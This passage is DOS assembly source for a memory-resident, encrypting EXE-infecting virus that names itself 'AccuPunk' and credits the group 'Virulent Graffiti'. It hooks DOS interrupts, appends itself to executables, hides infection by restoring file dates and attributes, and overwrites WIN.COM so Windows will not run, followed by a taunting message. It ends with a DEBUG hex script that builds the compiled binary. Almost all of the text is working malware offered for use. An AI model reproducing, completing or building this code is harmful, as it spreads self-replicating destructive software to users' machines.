|||
|
pop ds
|
|||
|
|
|||
|
cli
|
|||
|
mov word ptr ds:[21h*4], offset Int_21_handler ; Set Int 21h
|
|||
|
mov word ptr ds:[21h*4+2], ax
|
|||
|
sti
|
|||
|
|
|||
|
pop ax
|
|||
|
sub ax, 1
|
|||
|
mov es, ax ; Point To MCB
|
|||
|
mov word ptr es:[0001], 0008 ; Config = 0008h
|
|||
|
|
|||
|
mov ax, 5801h ; Reset Strategy
|
|||
|
pop bx
|
|||
|
int 21h
|
|||
|
|
|||
|
jmp exit ; Exit Stub
|
|||
|
|
|||
|
int_21_handler:
|
|||
|
push ax bx cx dx si di bp es ds ; Save Registers
|
|||
|
|
|||
|
cmp ax, 0ABCDh ; R-U-There?
|
|||
|
je r_u_there
|
|||
|
|
|||
|
cmp ax, 4B00h ; DOS Exec?
|
|||
|
je exec_call
|
|||
|
|
|||
|
back_to_dos:
|
|||
|
pop ds es bp di si dx cx bx ax ; Restore Registers
|
|||
|
|
|||
|
db 0eah ; JMP XXXX:YYYY
|
|||
|
old_int_21 dd ?
|
|||
|
|
|||
|
remove_locks:
|
|||
|
xor ax,ax ; Interrupt Table
|
|||
|
mov ds,ax
|
|||
|
les ax, dword ptr cs:[Old24] ; Get Int 24h Vector
|
|||
|
|
|||
|
mov word ptr ds:[24h*4], Ax ; And Replace It
|
|||
|
mov word ptr ds:[24h*4+2], Es
|
|||
|
jmp back_to_dos
|
|||
|
|
|||
|
r_u_there:
|
|||
|
mov bp, sp ; Alter AX On Stack
|
|||
|
mov word ptr [bp+10h], 6969h
|
|||
|
jmp end_int_21
|
|||
|
|
|||
|
exec_call:
|
|||
|
xor ax,ax ; Revector Int 24h
|
|||
|
mov ds,ax
|
|||
|
les ax, DWord Ptr ds:[24h*4]
|
|||
|
|
|||
|
mov word ptr cs:[Old24], ax ; Save Old Vector
|
|||
|
mov word ptr cs:[Old24+2], es
|
|||
|
|
|||
|
mov word ptr ds:[24h*4], Offset My24 ; With Our Vector
|
|||
|
mov word ptr ds:[24h*4+2], cs
|
|||
|
|
|||
|
pop es ; Caller's Ds in Es
|
|||
|
push es
|
|||
|
|
|||
|
mov di, dx ; ES:DI -> filename
|
|||
|
push cs
|
|||
|
pop ds ; DS:SI -> "WIN.COM"
|
|||
|
mov si, offset win_com
|
|||
|
push si
|
|||
|
|
|||
|
find_top:
|
|||
|
pop si
|
|||
|
push si
|
|||
|
lodsb ; AL = "W"
|
|||
|
|
|||
|
mov cx, 128
|
|||
|
repnz scasb ; Scan For "W"
|
|||
|
je check_it ; Got a "W", Check It
|
|||
|
pop si
|
|||
|
jmp infect ; Not WIN.COM
|
|||
|
|
|||
|
check_it:
|
|||
|
mov cl, 7
|
|||
|
|
|||
|
check_char:
|
|||
|
lodsb ; Load Next Character
|
|||
|
scasb ; and Check it
|
|||
|
jne find_top ; Leave if < >
|
|||
|
loop check_char
|
|||
|
|
|||
|
pop si
|
|||
|
|
|||
|
nuke_windows:
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ax, 3d02h ; Open WIN.COM
|
|||
|
int 30h
|
|||
|
|
|||
|
xchg ax,bx ; Handle in BX
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ah, 40h ; Write WIN.COM
|
|||
|
mov cx, (my24-win_exit)-1
|
|||
|
mov dx, offset win_exit ; with CD 20h
|
|||
|
int 30h
|
|||
|
|
|||
|
mov ah, 3eh ; Close File
|
|||
|
int 30h
|
|||
|
|
|||
|
mov ah, 9 ; Show User Message
|
|||
|
mov dx, offset win_msg
|
|||
|
int 30h
|
|||
|
|
|||
|
end_int_21:
|
|||
|
pop ds es bp di si dx cx bx ax ; Restore Registers
|
|||
|
iret
|
|||
|
|
|||
|
infect: ; File Infection
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
|
|||
|
mov si, dx ; DS:SI -> filename
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di, offset fname
|
|||
|
LoopAgain: ; Copy filename into
|
|||
|
lodsb ; Our CodeSeg.
|
|||
|
stosb
|
|||
|
or al,al
|
|||
|
jnz LoopAgain
|
|||
|
|
|||
|
push cs ; CS=DS=ES
|
|||
|
pop ds
|
|||
|
|
|||
|
xor ax, ax ; Get Attributes
|
|||
|
call attributes
|
|||
|
|
|||
|
mov word ptr [fattr], cx ; Save Attributes
|
|||
|
|
|||
|
mov ax, 3D00h ; Open File
|
|||
|
int 30h
|
|||
|
jc bad_exe
|
|||
|
|
|||
|
xchg ax, bx ; BX = File Handle
|
|||
|
|
|||
|
mov ax, 5700h ; Get File Date/Time
|
|||
|
int 30h
|
|||
|
|
|||
|
mov ftime, cx ; Save Time
|
|||
|
mov fdate, dx ; And Date
|
|||
|
|
|||
|
mov ah, 3Fh ; Read Header
|
|||
|
mov cx, 1ah
|
|||
|
mov dx, offset buffer ; Into Buffer
|
|||
|
int 30h
|
|||
|
|
|||
|
call LSeekEnd ; LSeek the End
|
|||
|
|
|||
|
push dx ; Save File Size
|
|||
|
push ax
|
|||
|
|
|||
|
mov ah, 3Eh ; Close File
|
|||
|
int 30h
|
|||
|
|
|||
|
cmp word ptr [buffer], 'ZM'
|
|||
|
jne worse_exe ; Not an EXE File
|
|||
|
|
|||
|
cmp word ptr [buffer+12h], id_word
|
|||
|
jne good_exe ; Not Infected
|
|||
|
|
|||
|
worse_exe:
|
|||
|
pop dx ; Remove Saved File
|
|||
|
pop dx ; Size
|
|||
|
bad_exe:
|
|||
|
jmp remove_locks ; Abort Infection
|
|||
|
|
|||
|
good_exe:
|
|||
|
mov al, 01h ; Overwrite Attribs
|
|||
|
xor cx, cx
|
|||
|
call attributes
|
|||
|
jc worse_exe ; Catch Write-Prot
|
|||
|
; Discs Here
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
|
|||
|
mov si, offset buffer + 14h ; Save Initial CS:IP
|
|||
|
mov di, offset jmpsave ; In Segment
|
|||
|
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
sub si, 10 ; Save Initial SS:SP
|
|||
|
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
|
|||
|
pop ax dx ; Retrive File Size
|
|||
|
push ax dx ; Save It
|
|||
|
|
|||
|
add ax, offset end_write - offset entry
|
|||
|
adc dx, 0
|
|||
|
|
|||
|
mov cx, 512 ; Pages 512 Bytes
|
|||
|
div cx
|
|||
|
or dx, dx
|
|||
|
jz no_round
|
|||
|
inc ax ; Rounding Quirk
|
|||
|
|
|||
|
no_round:
|
|||
|
mov word ptr [buffer + 4], ax ; Set Total 512 pages
|
|||
|
mov word ptr [buffer + 2], dx ; Set Total mod 512
|
|||
|
|
|||
|
mov ax, word ptr [buffer + 0Ah] ; Get Minimum
|
|||
|
add ax, (end_write - entry)/16 ; Add our Size
|
|||
|
mov word ptr [buffer + 0ah], ax ; Put us in Minimum
|
|||
|
mov word ptr [buffer + 0ch], ax ; and in the Maximum
|
|||
|
|
|||
|
pop dx ax ; Retrieve File Size
|
|||
|
|
|||
|
mov cl, 4
|
|||
|
mov bx, word ptr [buffer + 8]
|
|||
|
shl bx, cl ; BX = Header Size
|
|||
|
sub ax, bx
|
|||
|
sbb dx, 0 ; Subtract Header
|
|||
|
|
|||
|
mov cx, 10h
|
|||
|
div cx ; Change To Para/Rem
|
|||
|
or dx, dx
|
|||
|
jz no_padding
|
|||
|
sub cx, dx ; CX = Bytes to Pad
|
|||
|
inc ax
|
|||
|
|
|||
|
no_padding:
|
|||
|
push cx ; Save Pad Bytes
|
|||
|
sub ax, 10h
|
|||
|
mov word ptr [buffer + 14h], offset entry ; Set IP
|
|||
|
mov word ptr [buffer + 16h], ax ; Set CS
|
|||
|
mov word ptr [buffer + 0Eh], ax ; Set SS
|
|||
|
mov word ptr [buffer + 10h], offset end_vir+100h ; Set SP
|
|||
|
|
|||
|
move_id:
|
|||
|
mov word ptr [buffer + 12h], id_word ; Set ID Word
|
|||
|
; Negative Checksum
|
|||
|
|
|||
|
mov ax, 3D02h ; Open File
|
|||
|
mov dx, offset fname
|
|||
|
int 30h
|
|||
|
|
|||
|
xchg ax, bx ; BX = File Handle
|
|||
|
|
|||
|
mov ah, 40h ; Write File
|
|||
|
mov cx, 1Ah
|
|||
|
mov dx, offset buffer
|
|||
|
int 30h
|
|||
|
|
|||
|
call LSeekEnd ; LSeek to End
|
|||
|
|
|||
|
pop cx ; Retrieve Padding
|
|||
|
cmp cx, 16
|
|||
|
je no_fixup ; None Needed
|
|||
|
|
|||
|
mov ah, 40h ; Write File
|
|||
|
int 30h
|
|||
|
|
|||
|
no_fixup:
|
|||
|
mov ah, 2ch ; Get Time
|
|||
|
int 21h
|
|||
|
|
|||
|
mov word ptr [Valu+1], Dx ; New Crypt Valu
|
|||
|
|
|||
|
mov si, offset writeret ; Copy Write
|
|||
|
mov di, offset tempcrypt ; Routine
|
|||
|
mov cx, (end_write-writeret)
|
|||
|
rep movsb
|
|||
|
|
|||
|
call tempcrypt ; Call Write Routine
|
|||
|
|
|||
|
mov ax, 5701h ; Set File Time/Date
|
|||
|
mov cx, ftime
|
|||
|
mov dx, fdate
|
|||
|
int 30h
|
|||
|
|
|||
|
mov ah, 3Eh ; Close File
|
|||
|
int 30h
|
|||
|
|
|||
|
mov al, 01h ; Reset Attribs
|
|||
|
mov cx, fattr
|
|||
|
call attributes
|
|||
|
|
|||
|
jmp remove_locks ; Remove Int 24h
|
|||
|
|
|||
|
vir_ident db 0,'[DWI] AccuPunk/' ; Virus and Author
|
|||
|
db 'The Attitude Adjuster' ; Idents
|
|||
|
|
|||
|
vir_group db 0,'Virulent Graffiti',0 ; Group Ident
|
|||
|
|
|||
|
win_com db 'WIN.COM',0 ; Target File
|
|||
|
win_exit db 0cdh, 20h ; DOS Exit
|
|||
|
win_msg db 0dh,0ah ; Message
|
|||
|
db 'You''ve been caught, you DWI! You''re nothing '
|
|||
|
db 'but a Damn Windows Idiot!',0dh,0ah
|
|||
|
db 'Well, we at Virulent Graffiti have had it... '
|
|||
|
db 'you''re not going to be',0dh,0ah
|
|||
|
db 'running that bullshit for a while, ''cuz, hey, '
|
|||
|
db 'friends don''t let friends',0dh,0ah
|
|||
|
db 'use Windows! (and you''re damn right we''re '
|
|||
|
db 'your friends!)',0dh,0ah,'$'
|
|||
|
my24: ; Error Handler
|
|||
|
mov al, 3 ; Process Terminate
|
|||
|
iret
|
|||
|
|
|||
|
Attributes: ; Get/Set
|
|||
|
mov ah, 43h
|
|||
|
mov dx, offset fname
|
|||
|
int 30h
|
|||
|
ret
|
|||
|
|
|||
|
LSeekEnd:
|
|||
|
mov ax, 4202h ; LSeek from End
|
|||
|
xor cx, cx
|
|||
|
cwd ; XOR DX, DX
|
|||
|
int 30h ; Kudos DA
|
|||
|
ret
|
|||
|
|
|||
|
WriteRet:
|
|||
|
push bx ; Handle
|
|||
|
|
|||
|
mov bx, offset endcrypt ; Virus Start
|
|||
|
mov cx, (end_write-endcrypt)/2 ; Ieterations
|
|||
|
mov dx, Word Ptr [Valu+1] ; Xor Word
|
|||
|
Crypt_Loop2:
|
|||
|
rol word ptr [bx], 1 ; Roll it Left!
|
|||
|
xor word ptr [bx], dx ; Xor It
|
|||
|
inc bx
|
|||
|
inc bx
|
|||
|
loop Crypt_Loop2
|
|||
|
|
|||
|
pop bx ; Handle
|
|||
|
|
|||
|
mov ah, 40h ; Write File
|
|||
|
mov cx, end_write - entry
|
|||
|
mov dx, offset entry
|
|||
|
int 30h
|
|||
|
|
|||
|
push bx ; Handle
|
|||
|
|
|||
|
mov bx, offset endcrypt ; Virus Start
|
|||
|
mov cx, (end_write-endcrypt)/2 ; Ieterations
|
|||
|
mov dx, Word Ptr [Valu+1] ; Xor Word
|
|||
|
Crypt_Loop3:
|
|||
|
xor word ptr [bx], dx ; Xor It
|
|||
|
ror word ptr [bx], 1 ; Roll it Left!
|
|||
|
inc bx
|
|||
|
inc bx
|
|||
|
loop Crypt_Loop3
|
|||
|
|
|||
|
pop bx ; Handle
|
|||
|
ret ; Return
|
|||
|
end_write:
|
|||
|
|
|||
|
old24 dd 0 ; Int 24h Vector
|
|||
|
buffer db 1Ah dup (0) ; EXE Read Buffer
|
|||
|
fname db 128 dup (0) ; Filename Buffer
|
|||
|
fdate dw 0 ; OldFileDate
|
|||
|
ftime dw 0 ; OldFileTime
|
|||
|
fattr dw 0 ; OldFileAttr
|
|||
|
|
|||
|
tempcrypt:
|
|||
|
db (end_write-writeret) Dup(0) ; Write Routine
|
|||
|
end_vir:
|
|||
|
|
|||
|
end entry
|
|||
|
===========================================================================
|
|||
|
Oh, yea, and, a debug script for all you guys who, like me, had
|
|||
|
problems assembling this mis-mash of garbage...
|
|||
|
|
|||
|
===========================================================================
|
|||
|
a
|
|||
|
db 4D 5A CE 01 05 00 00 00 02 00 E7 0F E7 0F 4A 00
|
|||
|
db F2 06 56 31 00 01 4A 00 1C 00 00 00 00 00 00 00
|
|||
|
db BE 30 01 8B FE B9 B1 02 AD 33 06 2E 01 AB E2 F8
|
|||
|
db B4 0F CD 10 B4 00 CD 10 B8 03 13 B9 30 02 33 D2
|
|||
|
db BD 30 01 CD 10 B4 09 BA 90 05 CD 21 CD 20 3E 2F
|
|||
|
db 1E 20 1E 20 1E 20 E2 25 1E 25 1E 25 1E 25 E2 25
|
|||
|
db 1E 25 E2 25 E2 25 E2 25 1E 25 E2 25 E2 25 E2 25
|
|||
|
db 1E 25 1E 25 E2 25 1E 25 1E 25 E2 25 1E 25 E2 25
|
|||
|
db 1E 25 1E 25 1E 25 1E 25 E2 25 E2 25 1E 25 E2 25
|
|||
|
db 1E 25 1E 25 E2 25 1E 25 E2 25 E2 25 E2 25 1E 25
|
|||
|
db 1E 25 1E 25 1E 25 E2 25 E2 25 E2 25 E2 25 1E 25
|
|||
|
db E2 25 E2 25 E2 25 1E 25 1E 25 1E 25 E2 25 1E 25
|
|||
|
db 1E 25 1E 25 E2 25 E2 25 1E 25 1E 25 E2 25 E2 25
|
|||
|
db 1E 25 E2 25 E2 25 E2 25 1E 25 E2 25 E2 25 E2 25
|
|||
|
db 1E 25 E2 25 E2 25 E2 25 1E 20 1E 20 1E 20 1E 20
|
|||
|
db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25
|
|||
|
db E5 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
|
|||
|
db E5 25 E2 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E1 25 1E 25
|
|||
|
db E5 25 1E 25 1E 25 E5 25 1E 25 E5 25 1E 25 E5 25
|
|||
|
db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20
|
|||
|
db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 E2 25 E1 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
|
|||
|
db 1E 25 E1 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20
|
|||
|
db E5 25 E2 25 E1 25 1E 25 E2 25 E1 25 1E 25 E5 25
|
|||
|
db 1E 25 E5 25 E1 25 E1 25 1E 25 E5 25 E1 25 E1 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20
|
|||
|
db 1E 20 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 1E 25 E5 25 E1 25 1E 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 E2 25 E2 25 1E 25
|
|||
|
db E5 25 1E 25 E5 25 1E 25 E5 25 E2 25 E2 25 E5 25
|
|||
|
db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20
|
|||
|
db 1E 20 1E 25 1E 25 1E 25 E5 25 1E 25 E2 25 E1 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 E1 25 E2 25 1E 25 E5 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 E5 25 1E 25 1E 25
|
|||
|
db 1E 25 1E 25 E1 25 E2 25 1E 25 E2 25 E1 25 1E 25
|
|||
|
db E5 25 1E 25 E5 25 1E 25 E5 25 1E 25 1E 25 E5 25
|
|||
|
db 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25 1E 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 25 1E 25 1E 25 E5 25 1E 25
|
|||
|
db 1E 25 1E 25 E5 25 1E 20 1E 20 1E 20 1E 20 1E 20
|
|||
|
db 1E 20 1E 25 1E 25 1E 25 1E 25 E1 25 1E 25 1E 25
|
|||
|
db 1E 25 E1 25 E1 25 E1 25 1E 25 E1 25 1E 25 E1 25
|
|||
|
db 1E 25 1E 25 1E 25 1E 25 E1 25 E1 25 1E 25 E1 25
|
|||
|
db E1 25 E1 25 1E 25 1E 25 E1 25 E1 25 1E 25 E1 25
|
|||
|
db 1E 25 1E 25 E1 25 1E 25 1E 25 E1 25 1E 20 1E 20
|
|||
|
db 1E 20 1E 20 1E 20 1E 20 E1 25 1E 25 1E 25 1E 25
|
|||
|
db E1 25 1E 25 E1 25 1E 25 E1 25 1E 25 1E 25 E1 25
|
|||
|
db 1E 25 E1 25 1E 25 1E 25 1E 25 E1 25 1E 25 1E 25
|
|||
|
db 1E 25 E1 25 E1 25 E1 25 1E 25 1E 25 E1 25 1E 25
|
|||
|
db 1E 25 E1 25 E1 25 E1 25 1E 20 1E 20 1E 20 1E 20
|
|||
|
db 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20
|
|||
|
db 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20
|
|||
|
db 68 20 57 20 4C 20 4B 20 4D 20 1E 20 6E 20 4C 20
|
|||
|
db 51 20 5A 20 4B 20 5D 20 4A 20 57 20 51 20 50 20
|
|||
|
db 1E 20 71 20 4C 20 59 20 5F 20 50 20 57 20 44 20
|
|||
|
db 5F 20 4A 20 57 20 51 20 50 20 12 20 1E 20 0C 21
|
|||
|
db 0F 21 08 21 11 26 0B 21 0F 21 0D 21 11 26 07 21
|
|||
|
db 0F 21 0A 21 11 26 08 21 0E 21 0C 21 11 26 09 21
|
|||
|
db 0E 21 0D 21 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20
|
|||
|
db 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20 1E 20
|
|||
|
db 33 25 1E 0F 1E 60 50 4C 5B 0F 5F 48 5F 46 50 03
|
|||
|
db 1E 58 5B 0F 49 46 4D 47 1E 5B 51 0F 4A 47 5F 41
|
|||
|
db 55 0F 47 40 4B 0F 58 40 4C 0F 47 40 4B 5D 1E 4C
|
|||
|
db 56 40 57 4C 5B 0F 51 49 1E 49 57 41 5B 03 1E 5E
|
|||
|
db 4B 4E 52 46 4A 56 1E 59 57 5D 4B 5C 33 25 4E 5D
|
|||
|
db 51 48 4C 4E 53 42 57 41 59 01 1E 78 5B 0F 5F 5B
|
|||
|
db 1E 79 57 5D 4B 43 5B 41 4A 0F 79 5D 5F 49 58 46
|
|||
|
db 4A 46 1E 47 5F 59 5B 0F 53 4E 5A 4A 1E 4E 52 43
|
|||
|
db 1E 5F 51 5C 4D 46 5C 43 5B 0F 5B 49 58 40 4C 5B
|
|||
|
db 4D 0F 4A 40 1E 5C 5B 4A 33 25 4A 47 5F 5B 1E 0F
|
|||
|
db 51 5A 4C 0F 5D 40 5A 4A 1E 0F 57 5C 1E 40 58 0F
|
|||
|
db 1E 5B 56 4A 1E 4D 5B 5C 4A 0F 4F 5A 5F 43 57 5B
|
|||
|
db 47 01 1E 78 5B 0F 1E 58 57 5C 56 0F 47 40 4B 0F
|
|||
|
db 52 5A 5D 44 1E 40 50 0F 47 40 4B 5D 1E 5B 5F 5C
|
|||
|
db 55 0F 51 49 33 25 52 4A 5F 5D 50 46 50 48 1E 17
|
|||
|
db 0E 57 06 19 1E 4E 4D 5C 5B 42 5C 43 47 01 33 25
|
|||
|
db 33 25 24 00 00 00 00 00 00 0A 00 01 00 0C 00 01
|
|||
|
db BB 13 01 B9 04 02 BA 1F 16 2E 31 17 2E D1 0F 43
|
|||
|
db 43 E2 F6 23 1A 03 0A 21 18 6E 8D 48 8D 5D 6C CD
|
|||
|
db C4 F5 4A 11 28 06 97 15 36 1E 00 8F 4B 19 1A 85
|
|||
|
db 14 EB 4B 09 5B 81 14 02 B7 E9 4B 09 2B 89 14 18
|
|||
|
db A4 B9 4A 09 2B 8D 14 B8 80 1F 14 FE E9 FE E9 E2
|
|||
|
db E9 78 96 02 A7 97 2B 17 17 42 04 22 BA 1C 04 22
|
|||
|
db 96 1F 4A 07 1B AF 15 07 1B 9B 17 03 0A 11 28 6F
|
|||
|
db 17 AE 8C 5D B6 69 13 1E 66 1D A6 85 55 69 B7 1E
|
|||
|
db 7E 8E 8C 5D B6 45 36 1E 0A 9E 69 1F 14 08 F9 6D
|
|||
|
db 21 16 F0 57 71 8D B5 20 E2 91 1B 17 17 6D 15 58
|
|||
|
db 1B 1E E0 AF 4C 1D 16 02 97 52 98 13 14 1F 06 1E
|
|||
|
db 66 1D A6 A8 8C 5C C4 CA E8 BF B0 BD B2 B3 B8 B5
|
|||
|
db 1A 23 6C 84 41 F7 5C 65 16 89 FE 4D 28 11 AC A1
|
|||
|
db AA AB A4 A9 A6 CA 2B 3F 3A 1D 70 9E 0B AF 4B 97
|
|||
|
db 1B 29 1C 58 37 1E 0E 12 32 1E C0 DE 01 C6 99 93
|
|||
|
db 36 CD C4 C9 A3 78 96 02 A7 97 1B 3F 17 42 50 29
|
|||
|
db 1C 42 0E 13 2C 14 98 12 36 1E BE 16 0E 02 32 1F
|
|||
|
db 18 12 00 EB 0B 20 6A 7D 11 B3 AA B2 4E 6C 17 1E
|
|||
|
db F2 43 FF 19 AA C9 73 7D 19 46 4B F4 CC DA E3 A3
|
|||
|
db 1A 20 66 1B 6C 85 77 39 0B 20 7E 9E 64 2B 14 6A
|
|||
|
db 65 18 8C 7E 7E 62 8C 7E 7E 0C 62 69 11 85 77 21
|
|||
|
db 18 A5 A8 A3 A2 AD A0 AE 88 13 28 08 F3 03 18 61
|
|||
|
db 65 14 4E 4B 03 9F FD EB 0B 21 70 9E C7 CF 12 0D
|
|||
|
db 0B 65 1D 6F 17 64 8C 7F F2 78 30 6F 17 B0 8C 7E
|
|||
|
db 04 02 60 14 04 32 64 14 7E 60 64 2B 16 6B 29 14
|
|||
|
db 8C 7E C6 8B 12 BB B6 77 6B 85 77 1D 6B 21 1C 85
|
|||
|
db A2 F5 06 1D 6B 7D 1C B3 74 F5 1C AB A2 CD 43 E0
|
|||
|
db 77 1D 70 8C C7 5F 12 FA F2 03 18 63 71 14 68 8D
|
|||
|
db 14 54 5D 18 CB 0A 5C 55 A7 AB B6 BB 1C 29 1E 18
|
|||
|
db B3 1E 64 1F 12 F0 F5 08 B2 F7 14 9E 50 59 1C 0D
|
|||
|
db 3B 5D 1C 5D 45 15 1C 9D 16 59 45 14 50 49 1C AB
|
|||
|
db A6 7D 1F 09 2B 51 1C B8 D1 48 90 18 A3 1E 64 3F
|
|||
|
db 16 F0 F5 08 B2 F7 10 48 82 9F B4 45 36 1E 98 13
|
|||
|
db 70 15 16 1C 50 75 1C 59 4D 14 98 13 48 14 F2 12
|
|||
|
db 98 13 74 15 BA 7C 66 1B 6C 6B 65 14 8C 7E 30 77
|
|||
|
db 97 6D 23 1E 62 21 1C 85 77 CE 51 1D A4 18 E5 3F
|
|||
|
db FE 16 7E 9E 8C 7E 7E 46 8C 5C 04 33 18 1C 6A CF
|
|||
|
db 1F 60 69 14 64 79 16 F8 5F CF D1 1A 66 1D B8 09
|
|||
|
db 0B 69 1D 09 3B 6D 1D 85 77 77 6B 85 77 7F 15 09
|
|||
|
db 0B 65 1D CF D5 1C C4 DC EA 1F A0 97 B8 8D AC 5F
|
|||
|
db 94 D9 D0 F5 B6 F5 CA C9 48 B7 C6 D5 56 9D FE F7
|
|||
|
db C4 F7 FC D7 DC 5F 94 D7 C2 F5 F0 F7 DC FB 16 B3
|
|||
|
db C4 FB FC C7 DC C3 FE 5F 98 FB D4 D3 DA CD FE CD
|
|||
|
db 16 B1 84 83 4A 99 88 85 16 85 57 05 02 AD C8 F5
|
|||
|
db 58 F3 DC 5F D2 D5 DC C3 56 D9 D4 F5 D8 CF FE 47
|
|||
|
db 56 ED C8 F5 56 97 B8 8D 54 5F A4 C1 FC 51 F2 D5
|
|||
|
db 56 C3 C8 F7 C6 CD CA D1 56 DB FC F7 56 DD 56 97
|
|||
|
db D4 C5 CA 5F 56 B1 C4 C3 DE C1 F8 F9 56 5F 84 D7
|
|||
|
db C4 C1 FE 5D 0C 0B B8 D5 CE C7 4E 5F F8 D5 56 DD
|
|||
|
db FE 5F BA CD F2 F5 CE D5 CA F7 56 91 F2 DD DA D3
|
|||
|
db C4 F7 C4 5F C6 DD FA D5 56 5F C6 DD DE 5F C4 F7
|
|||
|
db 4A 43 4A 5F 56 ED C8 F5 58 FB DC 5F 56 C3 C8 F7
|
|||
|
db 56 D1 C8 CD CA D1 56 5F FE C1 56 DB DC 05 02 FB
|
|||
|
db FC C3 CA CD CA D1 56 F7 C6 DD FE 5F D2 F5 CE C7
|
|||
|
db F0 CF C4 F7 56 D3 C8 FB 56 DD 56 F1 C6 CD CE D5
|
|||
|
db 4E 5F 58 D9 FC EB 4E 5F C6 D5 E4 47 56 D3 F2 CD
|
|||
|
db DC C3 DE F9 56 D7 C8 C3 58 F7 56 C7 DC F7 56 D3
|
|||
|
db F2 CD DC C3 DE F9 0C 0B FC F9 DC 5F B8 CD CA D7
|
|||
|
db C8 F1 F0 5D 56 5F 46 DD CA D7 56 ED C8 F5 58 FB
|
|||
|
db DC 5F DE DD CC C3 56 FB C4 D1 C6 F7 56 F1 DC 51
|
|||
|
db F2 D5 56 ED C8 F5 F2 5F DA FB C4 D5 CA D7 F0 5D
|
|||
|
db 44 05 02 56 76 18 88 77 91 6B 65 14 8C 7E 90 6F
|
|||
|
db 13 9B 70 8C 25 85 77 99 B1 69 31 1C 64 17 12 09
|
|||
|
db 3B 11 14 BD 19 7D 38 99 90 DA E7 A8 7E 9E 64 29
|
|||
|
db 1E 6B 17 1C 8C 7F B0 69 31 1C 64 17 12 09 3B 11
|
|||
|
db 14 7D 38 BD 09 99 90 DA E7 A8 90 75 22 E3 0A 93
|
|||
|
db 8B 4F 08 93 3B 4F 08 75 16 8B 5F 02 93 8B 5F 02
|
|||
|
db EB B6 3D 06 00 75 06 3B C3 8B CC EB 05 3B C3 B9
|
|||
|
|
|||
|
rcx
|
|||
|
9db
|
|||
|
n dwi.tmp
|
|||
|
w
|
|||
|
q
|
|||
|
===========================================================================
|
|||
|
|
|||
|
|
|||
|
|